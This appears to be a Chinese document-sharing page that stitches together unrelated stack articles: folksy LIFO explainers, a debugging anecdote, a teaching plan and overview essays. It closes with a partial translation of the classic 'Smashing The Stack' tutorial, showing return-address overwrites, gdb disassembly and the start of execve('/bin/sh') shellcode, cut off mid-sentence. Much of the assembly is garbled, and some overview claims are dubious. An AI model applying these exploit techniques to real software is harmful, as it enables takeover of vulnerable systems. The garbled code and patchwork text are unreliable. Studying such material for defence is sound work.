溢出堆栈的乐趣和意义Smashing The Stack For Fun And Profit
- 格式:doc
- 大小:96.50 KB
- 文档页数:38
堆栈的原理嘿,朋友们!今天咱来聊聊堆栈这个神奇的玩意儿。
你说堆栈像啥呢?咱就打个比方吧,它就像是一个特别的收纳盒。
你可以不停地往里面放东西,也可以从里面拿东西出来。
不过呢,它可是有自己的规矩哦!想象一下,你把一堆东西按照顺序一个一个放进去,就好像是把你的宝贝们小心翼翼地放好。
这堆东西在堆栈里可就有了个先来后到的顺序啦。
每次你要拿东西的时候,你只能拿到最后放进去的那个,这就是堆栈的特点呀!堆栈就像是一个有个性的小伙伴。
它有时候很固执,就只让你按照它的规则来玩。
你要是不遵守,它可就不乐意啦。
比如说,你不能随便从中间去拿东西,必须得从最上面开始。
咱生活中也有很多类似堆栈的情况呢。
就好比排队买东西,先来的人先买到,后来的就得在后面等着,不能插队。
这就是一种类似堆栈的秩序呀!再想想,我们做事情是不是也得有个先后顺序呀?不能眉毛胡子一把抓。
就像堆栈一样,得一步一步来,先处理完前面的,才能轮到后面的。
堆栈的这种特性也很有用处呢。
比如说在计算机程序里,它可以帮助我们记住一些临时的数据,等需要的时候再拿出来用。
这就好像我们的大脑,把一些暂时的信息存在一个地方,要用的时候就去取。
而且哦,堆栈还特别可靠。
它不会乱了套,只要你按照规则来,它就会好好地为你服务。
它就像是一个忠诚的卫士,守护着你的数据。
你说堆栈是不是很有意思呀?它虽然看起来简单,但是用处可大着呢!它在很多领域都发挥着重要的作用,默默地为我们服务。
所以呀,可别小看了堆栈这个家伙。
它就像是一个隐藏在幕后的英雄,虽然不显眼,但是却不可或缺。
它让我们的生活和工作变得更加有序、更加高效。
怎么样,现在是不是对堆栈有了更深的认识啦?是不是觉得它就像我们身边一个熟悉又特别的存在呢?反正我是这么觉得的!嘿嘿!。
堆栈现象名词解释
嘿,你知道什么是堆栈现象吗?这玩意儿啊,就好像是一个神奇的魔法盒子!比如说,想象一下有一堆玩具,你把它们一个一个地放进去,这就是“进栈”啦。
然后呢,你又想把它们一个一个拿出来,这就是“出栈”。
堆栈现象在我们生活中可不少见呢!就好比排队买东西,人们一个一个排好队,这就像是进栈,而轮到每个人去买东西的时候,就像是出栈。
再想想看,图书馆里的书,放进去和拿出来,不也是一种类似的过程嘛!
你说这堆栈现象神奇不神奇?它就像是生活中的一个小秘密,默默地发挥着作用。
在计算机领域,堆栈可是有着至关重要的地位呢!当程序运行的时候,数据就会像排队的人一样,按照特定的顺序进栈和出栈。
还记得我们小时候玩的积木吗?我们把一块一块积木堆起来,有时候又从上面拿下来几块,这和堆栈现象多像呀!
堆栈现象可不仅仅是简单的进出顺序哦,它还蕴含着很多复杂的规则和逻辑。
比如说,后进先出,这就好像是最后来的反而先被处理。
是不是很有意思?
那堆栈现象到底有啥用呢?哎呀,这用处可大了去了!它能帮助计算机更高效地管理数据,让程序运行得更顺畅。
就像是给一辆汽车装上了最先进的导航系统,能让它快速准确地到达目的地。
总之,堆栈现象就像是一个隐藏在幕后的小魔法师,虽然我们平时可能不太注意到它,但它却在默默地为我们的生活和科技发展贡献着力量。
所以呀,可别小瞧了这看似普通却又神奇无比的堆栈现象哦!。
堆栈溢出解决方法我折腾了好久堆栈溢出这事儿,总算找到点门道。
说实话堆栈溢出这事,我一开始也是瞎摸索。
我记得有一次写一个程序,它老是出现堆栈溢出的错误。
我当时就很懵,完全不知道从哪儿下手。
我最先想到的就是查看代码里那些函数调用,因为我觉得可能是函数调用太多了,就像你一层一层地盖房子,结果盖得太高,超过了地基能承受的范围。
我就仔仔细细检查每个函数内部的逻辑,看看有没有可能进入死循环的地方或者不必要的递归。
结果我发现还真有个函数里面有个隐藏的递归调用,在某些特定条件下它就不停地自己调用自己,就像一个人掉进了一个无限循环的陷阱里出不来,这肯定会把栈给撑爆啊。
我赶紧把这个递归条件修改好,以为万事大吉了。
但没想到这个办法并没有完全解决问题。
然后我又觉得是不是我的局部变量申请得太多了。
就好比你在一个小房间(函数栈帧)里面塞了太多东西,空间不够用了。
于是我又检查代码里那些大块头的局部变量,像一些很大的数组之类的。
我尝试把一些不必要在函数内部定义的变量挪到外面去,变成全局变量。
这就像把一些不常用的大件东西从拥挤的小房间搬到宽敞的仓库一样。
有时候还会遇到一种比较隐蔽的情况,就是在多线程编程的时候。
我试过好几个不同的线程同时频繁地调用同一个函数,每个线程都在自己的栈上进行操作,累积起来也很容易导致堆栈溢出。
我处理的方法就是给线程调用函数的频率设置了限制,不能让它们太疯狂地调用。
前几天又试了个新方法,就是增加栈的大小。
不过这就像你把房子的地基扩大一样,虽然有时候能解决问题,但这不是从根本上解决代码问题的好办法,只是一种临时的应急方案。
如果你的程序在不同环境运行,可能其他环境下你没有办法随意更改栈的大小。
我不确定我这些方法是不是能涵盖所有堆栈溢出的情况,但这些都是我真实遇到过并且通过这些方法解决了问题的经验。
如果有谁也遇到堆栈溢出的情况,可以先像我这样从函数调用、局部变量和多线程这几个方面去排查。
总之,一定要有耐心,因为这些问题有时候特别隐蔽,你得像个侦探一样,不放过任何一个可疑的代码片段。
超脑麦斯堆栈高手教学设计引言:在当今数字化世界中,信息的爆炸性增长使得人们更加注重思维的组织和整理能力。
超脑麦斯堆栈技术作为一种高效的思维工具,成为了越来越多人关注和学习的对象。
本文将介绍一种针对初学者的超脑麦斯堆栈高手教学设计,帮助学员掌握该技术并提高思维效率。
一、教学目标设计1.了解超脑麦斯堆栈的概念和基本原理。
2.掌握超脑麦斯堆栈的使用方法。
3.培养学员思维整理的能力。
4.提高学员的思维效率和工作效率。
二、教学内容设计1.超脑麦斯堆栈的概念和基本原理超脑麦斯堆栈是一种流行的思维工具,它可以帮助人们将复杂的思维内容以堆栈的形式整理和管理。
学员需要了解超脑麦斯堆栈的定义、历史背景和基本原理。
2.超脑麦斯堆栈的使用方法学员需要了解超脑麦斯堆栈的基本操作方法,如创建新的堆栈、将思维内容添加到堆栈中、整理和排序堆栈中的内容等。
通过实践操作,学员可以熟练掌握超脑麦斯堆栈的使用技巧。
3.思维整理的能力培养超脑麦斯堆栈不仅仅是一种工具,更是培养学员思维整理能力的有效途径。
在教学中,引导学员使用超脑麦斯堆栈整理和分类思维内容,提高他们的思维逻辑和组织能力。
4.思维效率和工作效率的提升通过学习超脑麦斯堆栈技术,学员可以提高自己的思维效率和工作效率。
在教学中,可以引导学员运用超脑麦斯堆栈解决现实生活和工作中的问题,提高他们的工作效率和成果。
三、教学方法和策略设计1.理论与实践相结合在理论课程中,通过讲授超脑麦斯堆栈的概念和原理来帮助学员理解这一技术的背景和基本要点。
在实践课程中,提供实例让学员亲自操作,从而加深理解和掌握超脑麦斯堆栈的使用方法。
2.个性化教学和小组合作学习针对不同学员的学习风格和能力水平,采用个性化教学的策略。
同时鼓励学员在小组内合作学习和交流,提供互相学习和启发的机会。
3.案例分析和讨论通过提供实际案例,引导学员运用超脑麦斯堆栈技术解决问题,并组织讨论,分享思考和体会,促进学员之间的相互学习和交流。
栈溢出原理栈溢出是指在程序执行中,当一个函数调用另一个函数时,在栈上分配的内存不足以支持所需的返回地址、局部变量和其他数据,导致某些数据在堆栈上发生溢出,而该数据会覆盖相邻的内存空间。
这个过程可能会破坏堆栈中保存的返回地址,从而导致程序执行出现异常或崩溃。
CPU的栈,也称为数据栈或执行栈,是用来保存程序执行时的各种状态信息的。
在函数调用过程中,CPU会将返回地址、参数、局部变量等数据保存在栈上。
当函数执行完成后,CPU会使用保存的返回地址从栈上跳转回原来的代码位置。
如果栈的空间不够,储存的数据就会发生溢出,并且覆盖到内存的非法区域,从而导致程序的崩溃或异常。
栈溢出的问题主要源于以下三种情况:1.递归调用:如一个函数无限递归调用自身,栈空间将会被不断的分配,直至栈空间被耗尽。
或者一个大型的递归调用将花费大量的栈空间,容易发生栈溢出的错误。
2.缓冲区溢出:当程序尝试向函数局部变量声明的缓冲区写入超过预设大小的数据时,就会发生缓冲区溢出。
因为缓冲区保存在栈上,而往栈空间中写入超过它的预设大小的数据将导致栈溢出。
3.函数指针:当程序试图“跳过”一个函数指针时,如果跳过了它应该跳过的内存区域,就会发生栈溢出。
这种情况称为函数指针溢出,它可以被用来实现恶意软件攻击。
解决栈溢出问题的方法主要包括以下几个方面:1.增加栈空间:在编译程序时,可以通过编译选项来调整栈的大小。
但这可能会导致程序性能下降。
2.避免递归调用:在编写函数时,应该尽量避免使用递归调用来实现算法。
3.使用严格检查的编程语言:某些编程语言(如Java和Python)具有自动内存管理机制,可以自动检查和处理内存溢出问题。
4.缓冲区溢出检查:在编写程序时,应该避免使用弱类型语言,同时增加缓冲区大小以及使用安全措施来避免缓冲区溢出的出现。
5.变长数组:使用变长数组或动态分配内存的方法,可以提供动态栈空间,能够更好地解决内存溢出的问题。
总的来说,栈溢出是一种非常严重的问题,在编写程序时应该避免出现这种情况。
堆栈溢出的原因
堆栈溢出是一种常见的安全漏洞,它的发生原因主要是由于程序在执行过程中,使用了过多的栈空间,导致栈溢出,从而破坏了程序的正常执行流程。
本文将从堆栈溢出的原因、危害以及防范措施等方面进行探讨。
堆栈溢出的原因主要有两个方面:一是程序设计不当,二是攻击者利用漏洞进行攻击。
在程序设计不当的情况下,程序员可能会在函数中使用过多的局部变量,或者使用了过多的递归调用,导致栈空间不足,从而引发堆栈溢出。
而在攻击者利用漏洞进行攻击的情况下,攻击者可能会通过输入过长的数据,或者利用格式化字符串漏洞等方式,来覆盖栈中的返回地址,从而控制程序的执行流程。
堆栈溢出的危害主要表现在以下几个方面:一是程序崩溃,导致数据丢失或者系统崩溃;二是攻击者可以利用堆栈溢出漏洞,执行恶意代码,从而获取系统权限或者窃取敏感信息;三是攻击者可以利用堆栈溢出漏洞,进行拒绝服务攻击,从而使系统无法正常运行。
为了防范堆栈溢出漏洞,我们可以采取以下几个措施:一是在程序设计时,尽量减少使用局部变量和递归调用,从而减少栈空间的使用;二是对输入数据进行有效的检查和过滤,避免输入过长的数据;三是使用编译器提供的安全选项,如-fstack-protector等,来检测和防范堆栈溢出漏洞;四是使用堆栈随机化技术,来增加攻击者的难度,从而提高系统的安全性。
堆栈溢出是一种常见的安全漏洞,它的发生原因主要是由于程序设计不当和攻击者利用漏洞进行攻击。
为了防范堆栈溢出漏洞,我们需要采取有效的措施,从而提高系统的安全性。
软件安全策略研究bug与漏洞随着现代软件工业的发展,软件规模不断扩大,软件内部的逻辑也变得异常复杂。
为了保证软件的质量,测试环节在软件生命周期中所占的地位已经得到了普遍重视。
在一些著名的大型软件公司中,测试环节(QA)所耗费的资源甚至已经超过了开发。
即便如此,不论从理论上还是工程上都没有任何人敢声称能够彻底消灭软件中所有的逻辑缺陷--bug。
在形形色色的软件逻辑缺陷中,有一部分能够引起非常严重的后果。
例如,网站系统中,如果在用户输入数据的限制方面存在缺陷,将会使服务器变成SQL注入攻击和XSS(Cross Site Script,跨站脚本)攻击的目标;服务器软件在解析协议时,如果遇到出乎预料的数据格式而没有进行恰当的异常处理,那么就很可能会给攻击者提供远程控制服务器的机会。
我们通常把这类能够引起软件做一些"超出设计范围的事情"的bug称为漏洞(vulnerability)。
(1)功能性逻辑缺陷(bug):影响软件的正常功能,例如,执行结果错误、图标显示错误等。
(2)安全性逻辑缺陷(漏洞):通常情况下不影响软件的正常功能,但被攻击者成功利用后,有可能引起软件去执行额外的恶意代码。
常见的漏洞包括软件中的缓冲区溢出漏洞、网站中的跨站脚本漏洞(XSS)、SQL注入漏洞等。
漏洞挖掘、漏洞分析和漏洞利用利用漏洞进行攻击可以大致分为漏洞挖掘、漏洞分析、漏洞利用三个步骤。
这三部分所用的技术有相同之处,比如都需要精通系统底层知识、逆向工程等;同时也有一定的差异。
1.漏洞挖掘安全性漏洞往往不会对软件本身功能造成很大影响,因此很难被QA工程师的功能性测试发现,对于进行"正常操作"的普通用户来说,更难体会到软件中的这类逻辑瑕疵了。
由于安全性漏洞往往有极高的利用价值,例如,导致计算机被非法远程控制,数据库数据泄漏等,所以总是有无数技术精湛、精力旺盛的家伙在夜以继日地寻找软件中的这类逻辑瑕疵。
通过堆栈溢出来获得root权限是目前使用的相当普遍的一项黑客技术。
事实上这是一个黑客在系统本地已经拥有了一个基本账号后的首选攻击方式。
他也被广泛应用于远程攻击。
通过对daemon进程的堆栈溢出来实现远程获得rootshell的技术,已经被很多实例实现。
在windows系统中,同样存在着堆栈溢出的问题。
而且,随着internet的普及,win系列平台上的internet服务程序越来越多,低水平的win程序就成为你系统上的致命伤。
因为它们同样会被远程堆栈溢出,而且,由于win系统使用者和管理者普遍缺乏安全防范的意识,一台win系统上的堆栈溢出,如果被恶意利用,将导致整个机器被敌人所控制。
进而,可能导致整个局域网落入敌人之手。
本系列讲座将系统的介绍堆栈溢出的机制,原理,应用,以及防范的措施。
希望通过我的讲座,大家可以了解和掌握这项技术。
而且,会自己去寻找堆栈溢出漏洞,以提高系统安全。
堆栈溢出系列讲座入门篇本讲的预备知识:首先你应该了解intel汇编语言,熟悉寄存器的组成和功能。
你必须有堆栈和存储分配方面的基础知识,有关这方面的计算机书籍很多,我将只是简单阐述原理,着重在应用。
其次,你应该了解linux,本讲中我们的例子将在linux上开发。
1:首先复习一下基础知识。
从物理上讲,堆栈是就是一段连续分配的内存空间。
在一个程序中,会声明各种变量。
静态全局变量是位于数据段并且在程序开始运行的时候被加载。
而程序的动态的局部变量则分配在堆栈里面。
从操作上来讲,堆栈是一个先入后出的队列。
他的生长方向与内存的生长方向正好相反。
我们规定内存的生长方向为向上,则栈的生长方向为向下。
压栈的操作push=ESP-4,出栈的操作是pop=ESP+4.换句话说,堆栈中老的值,其内存地址,反而比新的值要大。
请牢牢记住这一点,因为这是堆栈溢出的基本理论依据。
在一次函数调用中,堆栈中将被依次压入:参数,返回地址,EBP。
如果函数有局部变量,接下来,就在堆栈中开辟相应的空间以构造变量。
堆栈的理解嘿,朋友们!今天咱来聊聊堆栈这个有意思的玩意儿。
你说堆栈像不像一个特别的仓库啊?货物先进去的放在最下面,后进去的反而在上面,要拿东西呢,得从最上面开始拿。
这多有趣呀!咱就说在编程的世界里,堆栈那可是有着重要地位呢。
它就像一个有条不紊的管理员,把数据安排得妥妥当当。
想象一下,一堆数据就像一群小朋友,堆栈呢,就是那个指挥他们排队的老师,让他们按照特定的顺序站好。
比如说,程序运行到一个地方,需要暂时保存一些数据,这时候堆栈就派上用场啦。
它会把这些数据“藏”起来,等需要的时候再“找”出来。
就好像你把宝贝藏在一个只有你知道的地方,要用的时候再去取。
而且哦,堆栈的操作可简单啦,就是入栈和出栈。
入栈就像是把东西放进去,出栈呢,就是把东西拿出来。
这多直接呀,一点都不复杂。
你想想,如果没有堆栈,那数据不就乱套啦?就像一群没有组织的小朋友,到处乱跑,那可不行呀!堆栈让一切都变得井井有条。
有时候我就想,生活中是不是也有类似堆栈的东西呢?比如说我们的记忆,新的记忆总是在最上面,而旧的记忆就慢慢沉淀下去。
但有时候,我们又会突然想起那些很久很久以前的事情,这不就像是从堆栈里把最下面的数据翻出来一样嘛!还有哦,堆栈的这种后进先出的特点,也很值得我们思考呢。
它告诉我们,有些事情可能一开始不那么显眼,但最后却可能起到关键作用。
就像那些一开始被放在堆栈底部的数据,最后却能决定程序的运行结果。
总之呢,堆栈可真是个神奇又实用的东西。
它在编程的世界里默默发挥着重要作用,让程序能够顺利运行。
我们可不能小瞧它呀!它就像一个低调的英雄,虽然不引人注目,但却不可或缺。
你说是不是呀?。
'践踏堆栈'[C语言编程] n. 在许多C语言的实现中,有可能通过写入例程中所声明的数组的结尾部分来破坏可执行的堆栈.所谓'践踏堆栈'使用的代码可以造成例程的返回异常,从而跳到任意的地址.这导致了一些极为险恶的数据相关漏洞(已人所共知).其变种包括堆栈垃圾化(trash the stack),堆栈乱写(scribble the stack),堆栈毁坏(mangle the stack);术语mung the stack并不使用,因为这从来不是故意造成的.参阅spam?也请参阅同名的漏洞,胡闹内核(fandango on core),内存泄露(memoryleak),优先权丢失(precedence lossage),螺纹滑扣(overrun screw).简介~~~~~~~在过去的几个月中,被发现和利用的缓冲区溢出漏洞呈现上升趋势.例如syslog, splitvt, sendmail 8.7.5, Linux/FreeBSD mount, Xt library, at等等.本文试图解释什么是缓冲区溢出, 以及如何利用.汇编的基础知识是必需的. 对虚拟内存的概念, 以及使用gdb的经验是十分有益的, 但不是必需的. 我们还假定使用Intel x86 CPU, 操作系统是Linux.在开始之前我们给出几个基本的定义: 缓冲区,简单说来是一块连续的计算机内存区域, 可以保存相同数据类型的多个实例. C程序员通常和字缓冲区数组打交道.最常见的是字符数组. 数组, 与C语言中所有的变量一样, 可以被声明为静态或动态的. 静态变量在程序加载时定位于数据段. 动态变量在程序运行时定位于堆栈之中.溢出, 说白了就是灌满, 使内容物超过顶端, 边缘, 或边界. 我们这里只关心动态缓冲区的溢出问题, 即基于堆栈的缓冲区溢出.进程的内存组织形式~~~~~~~~~~~~~~~~~~~~为了理解什么是堆栈缓冲区, 我们必须首先理解一个进程是以什么组织形式在内存中存在的. 进程被分成三个区域: 文本, 数据和堆栈. 我们把精力集中在堆栈区域, 但首先按照顺序简单介绍一下其他区域.文本区域是由程序确定的, 包括代码(指令)和只读数据. 该区域相当于可执行文件的文本段. 这个区域通常被标记为只读, 任何对其写入的操作都会导致段错误(segmentation violation).数据区域包含了已初始化和未初始化的数据. 静态变量储存在这个区域中. 数据区域对应可执行文件中的data-bss段. 它的大小可以用系统调用brk(2)来改变.如果bss数据的扩展或用户堆栈把可用内存消耗光了, 进程就会被阻塞住, 等待有了一块更大的内存空间之后再运行. 新内存加入到数据和堆栈段的中间./------------------\ 内存低地址| || 文本 || ||------------------|| (已初始化) || 数据 || (未初始化) ||------------------|| || 堆栈 || |\------------------/ 内存高地址Fig. 1 进程内存区域什么是堆栈?~~~~~~~~~~~~~堆栈是一个在计算机科学中经常使用的抽象数据类型. 堆栈中的物体具有一个特性:最后一个放入堆栈中的物体总是被最先拿出来, 这个特性通常称为后进先处(LIFO)队列.堆栈中定义了一些操作. 两个最重要的是PUSH和POP. PUSH操作在堆栈的顶部加入一个元素. POP操作相反, 在堆栈顶部移去一个元素, 并将堆栈的大小减一.为什么使用堆栈?~~~~~~~~~~~~~~~~现代计算机被设计成能够理解人们头脑中的高级语言. 在使用高级语言构造程序时最重要的技术是过程(procedure)和函数(function). 从这一点来看, 一个过程调用可以象跳转(jump)命令那样改变程序的控制流程, 但是与跳转不同的是, 当工作完成时,函数把控制权返回给调用之后的语句或指令. 这种高级抽象实现起来要靠堆栈的帮助.堆栈也用于给函数中使用的局部变量动态分配空间, 同样给函数传递参数和函数返回值也要用到堆栈.堆栈区域~~~~~~~~~~堆栈是一块保存数据的连续内存. 一个名为堆栈指针(SP)的寄存器指向堆栈的顶部.堆栈的底部在一个固定的地址. 堆栈的大小在运行时由内核动态地调整. CPU实现指令PUSH和POP, 向堆栈中添加元素和从中移去元素.堆栈由逻辑堆栈帧组成. 当调用函数时逻辑堆栈帧被压入栈中, 当函数返回时逻辑堆栈帧被从栈中弹出. 堆栈帧包括函数的参数, 函数地局部变量, 以及恢复前一个堆栈帧所需要的数据, 其中包括在函数调用时指令指针(IP)的值.堆栈既可以向下增长(向内存低地址)也可以向上增长, 这依赖于具体的实现. 在我们的例子中, 堆栈是向下增长的. 这是很多计算机的实现方式, 包括Intel, Motorola,SPARC和MIPS处理器. 堆栈指针(SP)也是依赖于具体实现的. 它可以指向堆栈的最后地址,或者指向堆栈之后的下一个空闲可用地址. 在我们的讨论当中, SP指向堆栈的最后地址.除了堆栈指针(SP指向堆栈顶部的的低地址)之外, 为了使用方便还有指向帧内固定地址的指针叫做帧指针(FP). 有些文章把它叫做局部基指针(LB-local base pointer).从理论上来说, 局部变量可以用SP加偏移量来引用. 然而, 当有字被压栈和出栈后, 这些偏移量就变了. 尽管在某些情况下编译器能够跟踪栈中的字操作, 由此可以修正偏移量, 但是在某些情况下不能. 而且在所有情况下, 要引入可观的管理开销. 而且在有些机器上, 比如Intel处理器, 由SP加偏移量访问一个变量需要多条指令才能实现.因此, 许多编译器使用第二个寄存器, FP, 对于局部变量和函数参数都可以引用,因为它们到FP的距离不会受到PUSH和POP操作的影响. 在Intel CPU中, BP(EBP)用于这个目的. 在Motorola CPU中, 除了A7(堆栈指针SP)之外的任何地址寄存器都可以做FP.考虑到我们堆栈的增长方向, 从FP的位置开始计算, 函数参数的偏移量是正值, 而局部变量的偏移量是负值.当一个例程被调用时所必须做的第一件事是保存前一个FP(这样当例程退出时就可以恢复). 然后它把SP复制到FP, 创建新的FP, 把SP向前移动为局部变量保留空间. 这称为例程的序幕(prolog)工作. 当例程退出时, 堆栈必须被清除干净, 这称为例程的收尾(epilog)工作. Intel的ENTER和LEAVE指令, Motorola的LINK和UNLINK指令, 都可以用于有效地序幕和收尾工作.下面我们用一个简单的例子来展示堆栈的模样:example1.c:------------------------------------------------------------------------------void function(int a, int b, int c) {char buffer1[5];char buffer2[10];}void main() {function(1,2,3);}------------------------------------------------------------------------------为了理解程序在调用function()时都做了哪些事情, 我们使用gcc的-S选项编译, 以产生汇编代码输出:$ gcc -S -o example1.s example1.c通过查看汇编语言输出, 我们看到对function()的调用被翻译成:pushlpushlpushlcall function以从后往前的顺序将function的三个参数压入栈中, 然后调用function(). 指令call会把指令指针(IP)也压入栈中. 我们把这被保存的IP称为返回地址(RET). 在函数中所做的第一件事情是例程的序幕工作:pushl %ebpmovl %esp,%ebpsubl ,%esp将帧指针EBP压入栈中. 然后把当前的SP复制到EBP, 使其成为新的帧指针. 我们把这个被保存的FP叫做SFP. 接下来将SP的值减小, 为局部变量保留空间.我们必须牢记:内存只能以字为单位寻址. 在这里一个字是4个字节, 32位. 因此5字节的缓冲区会占用8个字节(2个字)的内存空间, 而10个字节的缓冲区会占用12个字节(3个字)的内存空间. 这就是为什么SP要减掉20的原因. 这样我们就可以想象function()被调用时堆栈的模样(每个空格代表一个字节):内存低地址内存高地址buffer2 buffer1 sfp ret a b c<------ [ ][ ][ ][ ][ ][ ][ ]堆栈顶部堆栈底部缓冲区溢出~~~~~~~~~~~~缓冲区溢出是向一个缓冲区填充超过它处理能力的数据所造成的结果. 如何利用这个经常出现的编程错误来执行任意代码呢? 让我们来看看另一个例子:example2.c------------------------------------------------------------------------------void function(char *str) {char buffer[16];strcpy(buffer,str);}void main() {char large_string[256];int i;for( i = 0; i < 255; i++)large_string[i] = 'A';function(large_string);}------------------------------------------------------------------------------这个程序的函数含有一个典型的内存缓冲区编码错误. 该函数没有进行边界检查就复制提供的字符串, 错误地使用了strcpy()而没有使用strncpy(). 如果你运行这个程序就会产生段错误. 让我们看看在调用函数时堆栈的模样:内存低地址内存高地址buffer sfp ret *str<------ [ ][ ][ ][ ]堆栈顶部堆栈底部这里发生了什么事? 为什么我们得到一个段错误? 答案很简单: strcpy()将*str的内容(larger_string[])复制到buffer[]里, 直到在字符串中碰到一个空字符. 显然,buffer[]比*str小很多. buffer[]只有16个字节长, 而我们却试图向里面填入256个字节的内容. 这意味着在buffer之后, 堆栈中250个字节全被覆盖. 包括SFP, RET,甚至*str!我们已经把large_string全都填成了A. A的十六进制值为0x41. 这意味着现在的返回地址是0x41414141. 这已经在进程的地址空间之外了. 当函数返回时, 程序试图读取返回地址的下一个指令, 此时我们就得到一个段错误.因此缓冲区溢出允许我们更改函数的返回地址. 这样我们就可以改变程序的执行流程.现在回到第一个例子, 回忆当时堆栈的模样:内存低地址内存高地址buffer2 buffer1 sfp ret a b c<------ [ ][ ][ ][ ][ ][ ][ ]堆栈顶部堆栈底部现在试着修改我们第一个例子, 让它可以覆盖返回地址, 而且使它可以执行任意代码.堆栈中在buffer1[]之前的是SFP, SFP之前是返回地址. ret从buffer1[]的结尾算起是4个字节.应该记住的是buffer1[]实际上是2个字即8个字节长. 因此返回地址从buffer1[]的开头算起是12个字节. 我们会使用这种方法修改返回地址, 跳过函数调用后面的赋值语句'x=1;', 为了做到这一点我们把返回地址加上8个字节. 代码看起来是这样的:example3.c:------------------------------------------------------------------------------void function(int a, int b, int c) {char buffer1[5];char buffer2[10];int *ret;ret = buffer1 + 12;(*ret) += 8;}void main() {int x;x = 0;function(1,2,3);x = 1;printf("%d\n",x);}------------------------------------------------------------------------------我们把buffer1[]的地址加上12, 所得的新地址是返回地址储存的地方. 我们想跳过赋值语句而直接执行printf调用. 如何知道应该给返回地址加8个字节呢? 我们先前使用过一个试验值(比如1), 编译该程序, 祭出工具gdb:------------------------------------------------------------------------------[aleph1]$ gdb example3GDB is free software and you are welcome to distribute copies of it under certain conditions; type "show copying" to see the conditions. There is absolutely no warranty for GDB; type "show warranty" for details. GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...(no debugging symbols found)...(gdb) disassemble mainDump of assembler code for function main:0x8000490 : pushl %ebp0x8000491 : movl %esp,%ebp0x8000493 : subl x4,%esp0x8000496 : movl x0,0xfffffffc(%ebp)0x800049d : pushl x30x800049f : pushl x20x80004a1 : pushl x10x80004a3 : call 0x80004700x80004a8 : addl xc,%esp0x80004ab : movl x1,0xfffffffc(%ebp)0x80004b2 : movl 0xfffffffc(%ebp),%eax0x80004b5 : pushl %eax0x80004b6 : pushl x80004f80x80004bb : call 0x80003780x80004c0 : addl x8,%esp0x80004c3 : movl %ebp,%esp0x80004c5 : popl %ebp0x80004c6 : ret0x80004c7 : nop------------------------------------------------------------------------------我们看到当调用function()时, RET会是0x8004a8, 我们希望跳过在0x80004ab 的赋值指令. 下一个想要执行的指令在0x8004b2. 简单的计算告诉我们两个指令的距离为8字节.Shell Code~~~~~~~~~~现在我们可以修改返回地址即可以改变程序执行的流程, 我们想要执行什么程序呢?在大多数情况下我们只是希望程序派生出一个shell. 从这个shell中, 可以执行任何我们所希望的命令. 但是如果我们试图破解的程序里并没有这样的代码可怎么办呢? 我们怎么样才能将任意指令放到程序的地址空间中去呢? 答案就是把想要执行的代码放到我们想使其溢出的缓冲区里, 并且覆盖函数的返回地址, 使其指向这个缓冲区. 假定堆栈的起始地址为0xFF, S代表我们想要执行的代码, 堆栈看起来应该是这样:内存低 DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF 内存高地址 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF 地址buffer sfp ret a b c<------ [SSSSSSSSSSSSSSSSSSSS][SSSS][0xD8][0x01][0x02][0x03]^ ||____________________________|堆栈顶部堆栈底部派生出一个shell的C语言代码是这样的:shellcode.c-----------------------------------------------------------------------------#includevoid main() {char *name[2];name[0] = "/bin/sh";name[1] = NULL;execve(name[0], name, NULL);}------------------------------------------------------------------------------为了查明这程序变成汇编后是个什么样子, 我们编译它, 然后祭出调试工具gdb. 记住在编译的时候要使用-static标志, 否则系统调用execve的真实代码就不会包括在汇编中,取而代之的是对动态C语言库的一个引用, 真正的代码要到程序加载的时候才会联入.------------------------------------------------------------------------------[aleph1]$ gcc -o shellcode -ggdb -static shellcode.c[aleph1]$ gdb shellcodeGDB is free software and you are welcome to distribute copies of it under certain conditions; type "show copying" to see the conditions. There is absolutely no warranty for GDB; type "show warranty" for details. GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...(gdb) disassemble mainDump of assembler code for function main:0x8000130 : pushl %ebp0x8000131 : movl %esp,%ebp0x8000133 : subl x8,%esp0x8000136 : movl x80027b8,0xfffffff8(%ebp)0x800013d : movl x0,0xfffffffc(%ebp)0x8000144 : pushl x00x8000146 : leal 0xfffffff8(%ebp),%eax0x8000149 : pushl %eax0x800014a : movl 0xfffffff8(%ebp),%eax0x800014d : pushl %eax0x800014e : call 0x80002bc <__execve>0x8000153 : addl xc,%esp0x8000156 : movl %ebp,%esp0x8000158 : popl %ebp0x8000159 : retEnd of assembler dump.(gdb) disassemble __execveDump of assembler code for function __execve:0x80002bc <__execve>: pushl %ebp0x80002bd <__execve+1>: movl %esp,%ebp0x80002bf <__execve+3>: pushl %ebx0x80002c0 <__execve+4>: movl xb,%eax0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx0x80002cb <__execve+15>: movl 0x10(%ebp),%edx0x80002ce <__execve+18>: int x800x80002d0 <__execve+20>: movl %eax,%edx0x80002d2 <__execve+22>: testl %edx,%edx0x80002d4 <__execve+24>: jnl 0x80002e6 <__execve+42>0x80002d6 <__execve+26>: negl %edx0x80002d8 <__execve+28>: pushl %edx0x80002d9 <__execve+29>: call 0x8001a34 <__normal_errno_location>0x80002de <__execve+34>: popl %edx0x80002df <__execve+35>: movl %edx,(%eax)0x80002e1 <__execve+37>: movl xffffffff,%eax0x80002e6 <__execve+42>: popl %ebx0x80002e7 <__execve+43>: movl %ebp,%esp0x80002e9 <__execve+45>: popl %ebp0x80002ea <__execve+46>: ret0x80002eb <__execve+47>: nopEnd of assembler dump.------------------------------------------------------------------------------下面我们看看这里究竟发生了什么事情. 先从main开始研究:------------------------------------------------------------------------------0x8000130 : pushl %ebp0x8000131 : movl %esp,%ebp0x8000133 : subl x8,%esp这是例程的准备工作. 首先保存老的帧指针, 用当前的堆栈指针作为新的帧指针,然后为局部变量保留空间. 这里是:char *name[2];即2个指向字符串的指针. 指针的长度是一个字, 所以这里保留2个字(8个字节)的空间.0x8000136 : movl x80027b8,0xfffffff8(%ebp)我们把0x80027b8(字串"/bin/sh"的地址)这个值复制到name[]中的第一个指针, 这等价于:name[0] = "/bin/sh";0x800013d : movl x0,0xfffffffc(%ebp)我们把值0x0(NULL)复制到name[]中的第二个指针, 这等价于:name[1] = NULL;对execve()的真正调用从下面开始:0x8000144 : pushl x0我们把execve()的参数以从后向前的顺序压入堆栈中, 这里从NULL开始.0x8000146 : leal 0xfffffff8(%ebp),%eax把name[]的地址放到EAX寄存器中.0x8000149 : pushl 